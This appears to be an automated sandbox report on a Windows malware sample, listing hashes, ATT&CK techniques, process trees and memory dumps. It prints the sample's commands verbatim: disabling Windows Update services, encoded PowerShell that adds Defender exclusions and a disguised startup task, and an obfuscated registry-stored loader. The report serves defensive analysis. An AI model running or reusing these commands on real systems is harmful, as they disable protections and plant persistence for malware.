6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915

General

Target

6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exe
Size

2.7MB
MD5

cff0e1b4af4ef5a2d4cb78ea5d403d58
SHA1

5224506ce265475452aeddf540f5f9b996f84bd6
SHA256

6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915
SHA512

55cfed7b7a95c71afd8191116f03829b8c51661cf1de035652e08b8ae4b8003f569ca6e198748167e626d17edb7012fe535aa08e8af2e09d2440880088fa2c40
SSDEEP

49152:YX9bvpxA+I4AY+a7xIrLlxJq5ZjoVrY4u0uXh/DP+P:2DnNExInjojwRK

Score

10^/10

discovery evasion exploit

Malware Config

Signatures

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

reg.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe

Drops file in Drivers directory 1 IoCs

Processes:

6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exe

description	ioc	process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exe

Possible privilege escalation attempt 2 IoCs
exploit

Processes:

takeown.exeicacls.exe

pid process

2392 takeown.exe
2676 icacls.exe
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

pid	process
2392	takeown.exe
2676	icacls.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exe

Modifies file permissions 1 TTPs 2 IoCs
discovery

File Permissions Modification
T1222

Processes:

takeown.exeicacls.exe

pid process

2392 takeown.exe
2676 icacls.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

22 ip-api.com

pid	process
2392	takeown.exe
2676	icacls.exe

flow	ioc
22	ip-api.com

Suspicious use of SetThreadContext 1 IoCs

Processes:

6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exe

description	pid	process	target process
PID 4888 set thread context of 1604	4888	6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exe	conhost.exe

Drops file in Windows directory 4 IoCs

Processes:

conhost.exe

description	ioc	process
File created	C:\Windows\Tasks\dialersvc32.job	conhost.exe
File opened for modification	C:\Windows\Tasks\dialersvc32.job	conhost.exe
File created	C:\Windows\Tasks\dialersvc64.job	conhost.exe
File opened for modification	C:\Windows\Tasks\dialersvc64.job	conhost.exe

Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exe

pid process

740 sc.exe
4440 sc.exe
1868 sc.exe
4640 sc.exe
4832 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Modifies registry key 1 TTPs 9 IoCs

Modify Registry
T1112

Processes:

reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exe

pid process

1116 reg.exe
1288 reg.exe
4292 reg.exe
1504 reg.exe
2008 reg.exe
4244 reg.exe
4088 reg.exe
116 reg.exe
1048 reg.exe

pid	process
740	sc.exe
4440	sc.exe
1868	sc.exe
4640	sc.exe
4832	sc.exe

pid	process
1116	reg.exe
1288	reg.exe
4292	reg.exe
1504	reg.exe
2008	reg.exe
4244	reg.exe
4088	reg.exe
116	reg.exe
1048	reg.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exe6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exepowershell.exe

pid	process
1980	powershell.exe
1980	powershell.exe
4888	6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exe
2196	powershell.exe
2196	powershell.exe

Suspicious use of AdjustPrivilegeToken 12 IoCs

Processes:

powershell.exe6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exetakeown.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	1980	powershell.exe
Token: SeDebugPrivilege	4888	6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exe
Token: SeShutdownPrivilege	1712	powercfg.exe
Token: SeCreatePagefilePrivilege	1712	powercfg.exe
Token: SeShutdownPrivilege	2084	powercfg.exe
Token: SeCreatePagefilePrivilege	2084	powercfg.exe
Token: SeShutdownPrivilege	5008	powercfg.exe
Token: SeCreatePagefilePrivilege	5008	powercfg.exe
Token: SeShutdownPrivilege	1044	powercfg.exe
Token: SeCreatePagefilePrivilege	1044	powercfg.exe
Token: SeTakeOwnershipPrivilege	2392	takeown.exe
Token: SeDebugPrivilege	2196	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.execmd.execmd.exe

description	pid	process	target process
PID 4888 wrote to memory of 1980	4888	6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exe	powershell.exe
PID 4888 wrote to memory of 1980	4888	6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exe	powershell.exe
PID 4888 wrote to memory of 4304	4888	6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exe	cmd.exe
PID 4888 wrote to memory of 4304	4888	6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exe	cmd.exe
PID 4888 wrote to memory of 5060	4888	6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exe	cmd.exe
PID 4888 wrote to memory of 5060	4888	6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exe	cmd.exe
PID 4304 wrote to memory of 740	4304	cmd.exe	sc.exe
PID 4304 wrote to memory of 740	4304	cmd.exe	sc.exe
PID 4304 wrote to memory of 4440	4304	cmd.exe	sc.exe
PID 4304 wrote to memory of 4440	4304	cmd.exe	sc.exe
PID 5060 wrote to memory of 1712	5060	cmd.exe	powercfg.exe
PID 5060 wrote to memory of 1712	5060	cmd.exe	powercfg.exe
PID 4304 wrote to memory of 1868	4304	cmd.exe	sc.exe
PID 4304 wrote to memory of 1868	4304	cmd.exe	sc.exe
PID 5060 wrote to memory of 2084	5060	cmd.exe	powercfg.exe
PID 5060 wrote to memory of 2084	5060	cmd.exe	powercfg.exe
PID 4304 wrote to memory of 4640	4304	cmd.exe	sc.exe
PID 4304 wrote to memory of 4640	4304	cmd.exe	sc.exe
PID 5060 wrote to memory of 5008	5060	cmd.exe	powercfg.exe
PID 5060 wrote to memory of 5008	5060	cmd.exe	powercfg.exe
PID 4304 wrote to memory of 4832	4304	cmd.exe	sc.exe
PID 4304 wrote to memory of 4832	4304	cmd.exe	sc.exe
PID 5060 wrote to memory of 1044	5060	cmd.exe	powercfg.exe
PID 5060 wrote to memory of 1044	5060	cmd.exe	powercfg.exe
PID 4304 wrote to memory of 1116	4304	cmd.exe	reg.exe
PID 4304 wrote to memory of 1116	4304	cmd.exe	reg.exe
PID 4304 wrote to memory of 1288	4304	cmd.exe	reg.exe
PID 4304 wrote to memory of 1288	4304	cmd.exe	reg.exe
PID 4304 wrote to memory of 4244	4304	cmd.exe	reg.exe
PID 4304 wrote to memory of 4244	4304	cmd.exe	reg.exe
PID 4304 wrote to memory of 4088	4304	cmd.exe	reg.exe
PID 4304 wrote to memory of 4088	4304	cmd.exe	reg.exe
PID 4304 wrote to memory of 116	4304	cmd.exe	reg.exe
PID 4304 wrote to memory of 116	4304	cmd.exe	reg.exe
PID 4304 wrote to memory of 2392	4304	cmd.exe	takeown.exe
PID 4304 wrote to memory of 2392	4304	cmd.exe	takeown.exe
PID 4304 wrote to memory of 2676	4304	cmd.exe	icacls.exe
PID 4304 wrote to memory of 2676	4304	cmd.exe	icacls.exe
PID 4304 wrote to memory of 4292	4304	cmd.exe	reg.exe
PID 4304 wrote to memory of 4292	4304	cmd.exe	reg.exe
PID 4304 wrote to memory of 1504	4304	cmd.exe	reg.exe
PID 4304 wrote to memory of 1504	4304	cmd.exe	reg.exe
PID 4304 wrote to memory of 1048	4304	cmd.exe	reg.exe
PID 4304 wrote to memory of 1048	4304	cmd.exe	reg.exe
PID 4304 wrote to memory of 2008	4304	cmd.exe	reg.exe
PID 4304 wrote to memory of 2008	4304	cmd.exe	reg.exe
PID 4304 wrote to memory of 3680	4304	cmd.exe	schtasks.exe
PID 4304 wrote to memory of 3680	4304	cmd.exe	schtasks.exe
PID 4304 wrote to memory of 3536	4304	cmd.exe	schtasks.exe
PID 4304 wrote to memory of 3536	4304	cmd.exe	schtasks.exe
PID 4304 wrote to memory of 3552	4304	cmd.exe	schtasks.exe
PID 4304 wrote to memory of 3552	4304	cmd.exe	schtasks.exe
PID 4304 wrote to memory of 3668	4304	cmd.exe	schtasks.exe
PID 4304 wrote to memory of 3668	4304	cmd.exe	schtasks.exe
PID 4304 wrote to memory of 3696	4304	cmd.exe	schtasks.exe
PID 4304 wrote to memory of 3696	4304	cmd.exe	schtasks.exe
PID 4304 wrote to memory of 4908	4304	cmd.exe	schtasks.exe
PID 4304 wrote to memory of 4908	4304	cmd.exe	schtasks.exe
PID 4304 wrote to memory of 4052	4304	cmd.exe	schtasks.exe
PID 4304 wrote to memory of 4052	4304	cmd.exe	schtasks.exe
PID 4888 wrote to memory of 1604	4888	6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exe	conhost.exe
PID 4888 wrote to memory of 1604	4888	6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exe	conhost.exe
PID 4888 wrote to memory of 1604	4888	6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exe	conhost.exe
PID 4888 wrote to memory of 1604	4888	6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exe	conhost.exe

C:\Users\Admin\AppData\Local\Temp\6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exe
"C:\Users\Admin\AppData\Local\Temp\6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exe"
1⤵
- Drops file in Drivers directory
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4888

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHoAYgAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAYgB4ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGoAdwBwACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHUAbgAjAD4A"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1980

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
2⤵
- Suspicious use of WriteProcessMemory
PID:4304

C:\Windows\system32\sc.exe
sc stop UsoSvc
3⤵
- Launches sc.exe
PID:740

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
3⤵
- Launches sc.exe
PID:4440

C:\Windows\system32\sc.exe
sc stop wuauserv
3⤵
- Launches sc.exe
PID:1868

C:\Windows\system32\sc.exe
sc stop bits
3⤵
- Launches sc.exe
PID:4640

C:\Windows\system32\sc.exe
sc stop dosvc
3⤵
- Launches sc.exe
PID:4832

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
3⤵
- Modifies registry key
PID:1116

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
3⤵
- Modifies registry key
PID:1288

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
3⤵
- Modifies security service
- Modifies registry key
PID:4244

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
3⤵
- Modifies registry key
PID:4088

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
3⤵
- Modifies registry key
PID:116

C:\Windows\system32\takeown.exe
takeown /f C:\Windows\System32\WaaSMedicSvc.dll
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:2392

C:\Windows\system32\icacls.exe
icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2676

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
3⤵
- Modifies registry key
PID:4292

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
3⤵
- Modifies registry key
PID:1504

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
3⤵
- Modifies registry key
PID:1048

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
3⤵
- Modifies registry key
PID:2008

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
3⤵
PID:3680

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
3⤵
PID:3536

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
3⤵
PID:3552

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
3⤵
PID:3668

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
3⤵
PID:3696

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
3⤵
PID:4908

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
3⤵
PID:4052

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
2⤵
- Suspicious use of WriteProcessMemory
PID:5060

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1712

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2084

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-ac 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:5008

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-dc 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1044

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe
2⤵
- Drops file in Windows directory
PID:1604

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAdgBzAGQAIwA+ACAAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AQQBjAHQAaQBvAG4AIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBBAGMAdABpAG8AbgAgAC0ARQB4AGUAYwB1AHQAZQAgACcAcABvAHcAZQByAHMAaABlAGwAbAAnACAALQBBAHIAZwB1AG0AZQBuAHQAIAAnAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAIgBQAEEAQQBqAEEARwBnAEEAZAB3AEIAagBBAEMATQBBAFAAZwBBAGcAQQBGAE0AQQBkAEEAQgBoAEEASABJAEEAZABBAEEAdABBAEYAQQBBAGMAZwBCAHYAQQBHAE0AQQBaAFEAQgB6AEEASABNAEEASQBBAEEAdABBAEUAWQBBAGEAUQBCAHMAQQBHAFUAQQBVAEEAQgBoAEEASABRAEEAYQBBAEEAZwBBAEMAYwBBAFEAdwBBADYAQQBGAHcAQQBVAEEAQgB5AEEARwA4AEEAWgB3AEIAeQBBAEcARQBBAGIAUQBBAGcAQQBFAFkAQQBhAFEAQgBzAEEARwBVAEEAYwB3AEIAYwBBAEUAYwBBAGIAdwBCAHYAQQBHAGMAQQBiAEEAQgBsAEEARgB3AEEAUQB3AEIAbwBBAEgASQBBAGIAdwBCAHQAQQBHAFUAQQBYAEEAQgAxAEEASABBAEEAWgBBAEIAaABBAEgAUQBBAFoAUQBCAHkAQQBDADQAQQBaAFEAQgA0AEEARwBVAEEASgB3AEEAZwBBAEMAMABBAFYAZwBCAGwAQQBIAEkAQQBZAGcAQQBnAEEARgBJAEEAZABRAEIAdQBBAEUARQBBAGMAdwBBAGcAQQBEAHcAQQBJAHcAQgBrAEEARwBzAEEAZQBRAEIAaABBAEMATQBBAFAAZwBBAD0AIgAnACkAIAA8ACMAbABpACMAPgAgAC0AVAByAGkAZwBnAGUAcgAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFQAcgBpAGcAZwBlAHIAIAAtAEEAdABTAHQAYQByAHQAdQBwACkAIAA8ACMAdgBvACMAPgAgAC0AUwBlAHQAdABpAG4AZwBzACAAKABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAUwBlAHQAdABpAG4AZwBzAFMAZQB0ACAALQBBAGwAbABvAHcAUwB0AGEAcgB0AEkAZgBPAG4AQgBhAHQAdABlAHIAaQBlAHMAIAAtAEQAaQBzAGEAbABsAG8AdwBIAGEAcgBkAFQAZQByAG0AaQBuAGEAdABlACAALQBEAG8AbgB0AFMAdABvAHAASQBmAEcAbwBpAG4AZwBPAG4AQgBhAHQAdABlAHIAaQBlAHMAIAAtAEQAbwBuAHQAUwB0AG8AcABPAG4ASQBkAGwAZQBFAG4AZAAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AVABpAG0AZQBMAGkAbQBpAHQAIAAoAE4AZQB3AC0AVABpAG0AZQBTAHAAYQBuACAALQBEAGEAeQBzACAAMQAwADAAMAApACkAIAA8ACMAbgBwAHUAIwA+ACAALQBUAGEAcwBrAE4AYQBtAGUAIAAnAEcAbwBvAGcAbABlAFUAcABkAGEAdABlAFQAYQBzAGsATQBhAGMAaABpAG4AZQBRAEMAJwAgAC0AVQBzAGUAcgAgACcAUwB5AHMAdABlAG0AJwAgAC0AUgB1AG4ATABlAHYAZQBsACAAJwBIAGkAZwBoAGUAcwB0ACcAIAAtAEYAbwByAGMAZQAgADwAIwBlAGQAawB6ACMAPgA7ACAAQwBvAHAAeQAtAEkAdABlAG0AIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwANgA4ADEAOQBiAGMAYQA3ADkAZAA1AGQAOQA1ADkAOAA4ADMAOQBlADkAZABjAGYAYQAxAGEAMQAyAGYAZQBiADYAMAA3AGUANABkADIANgA5AGEANQAyAGIAMAAxADYAOQA0ADkAYQA5ADkAOQA2AGMAMgA1ADkAOAA5ADEANQAuAGUAeABlACcAIAAtAEQAZQBzAHQAaQBuAGEAdABpAG8AbgAgACcAQwA6AFwAUAByAG8AZwByAGEAbQAgAEYAaQBsAGUAcwBcAEcAbwBvAGcAbABlAFwAQwBoAHIAbwBtAGUAXAB1AHAAZABhAHQAZQByAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZgBiACMAPgA7ACAAUwB0AGEAcgB0AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgADwAIwB1AHAAdgB3ACMAPgAgAC0AVABhAHMAawBOAGEAbQBlACAAJwBHAG8AbwBnAGwAZQBVAHAAZABhAHQAZQBUAGEAcwBrAE0AYQBjAGgAaQBuAGUAUQBDACcAOwA="
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2196

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"
1⤵
PID:1156

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"
1⤵
PID:4068

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{9e930833-cf5a-4b79-bc62-6361016d8b42}
1⤵
PID:4852

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Modify Existing Service

2

T1031

Privilege Escalation

Defense Evasion

Modify Registry

2

T1112

Impair Defenses

1

T1562

File Permissions Modification

1

T1222

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service

1

T1102

Impact

Service Stop

1

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
6d3e9c29fe44e90aae6ed30ccf799ca8

SHA1
c7974ef72264bbdf13a2793ccf1aed11bc565dce

SHA256
2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

SHA512
60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

Download Submit
memory/116-154-0x0000000000000000-mapping.dmp

Download
memory/608-192-0x00007FFAB7CB0000-0x00007FFAB7CC0000-memory.dmp

Filesize
64KB

Download
memory/740-141-0x0000000000000000-mapping.dmp

Download
memory/1044-149-0x0000000000000000-mapping.dmp

Download
memory/1048-159-0x0000000000000000-mapping.dmp

Download
memory/1116-150-0x0000000000000000-mapping.dmp

Download
memory/1156-182-0x00007FFAF5E90000-0x00007FFAF5F4E000-memory.dmp

Filesize
760KB

Download
memory/1156-191-0x00007FFAF7C30000-0x00007FFAF7E25000-memory.dmp

Filesize
2.0MB

Download
memory/1156-181-0x00007FFAF7C30000-0x00007FFAF7E25000-memory.dmp

Filesize
2.0MB

Download
memory/1156-189-0x00007FFAD9D50000-0x00007FFADA811000-memory.dmp

Filesize
10.8MB

Download
memory/1156-179-0x00007FFAD9D50000-0x00007FFADA811000-memory.dmp

Filesize
10.8MB

Download
memory/1288-151-0x0000000000000000-mapping.dmp

Download
memory/1504-158-0x0000000000000000-mapping.dmp

Download
memory/1604-173-0x0000000140000000-0x0000000140056000-memory.dmp

Filesize
344KB

Download
memory/1604-169-0x0000000140000000-0x0000000140056000-memory.dmp

Filesize
344KB

Download
memory/1604-171-0x0000000140000000-0x0000000140056000-memory.dmp

Filesize
344KB

Download
memory/1604-172-0x0000000140000000-0x0000000140056000-memory.dmp

Filesize
344KB

Download
memory/1604-170-0x0000000140001844-mapping.dmp

Download
memory/1712-143-0x0000000000000000-mapping.dmp

Download
memory/1868-144-0x0000000000000000-mapping.dmp

Download
memory/1980-137-0x00007FFAD9D50000-0x00007FFADA811000-memory.dmp

Filesize
10.8MB

Download
memory/1980-134-0x0000000000000000-mapping.dmp

Download
memory/1980-135-0x00000299BE320000-0x00000299BE342000-memory.dmp

Filesize
136KB

Download
memory/1980-136-0x00007FFAD9D50000-0x00007FFADA811000-memory.dmp

Filesize
10.8MB

Download
memory/2008-160-0x0000000000000000-mapping.dmp

Download
memory/2084-145-0x0000000000000000-mapping.dmp

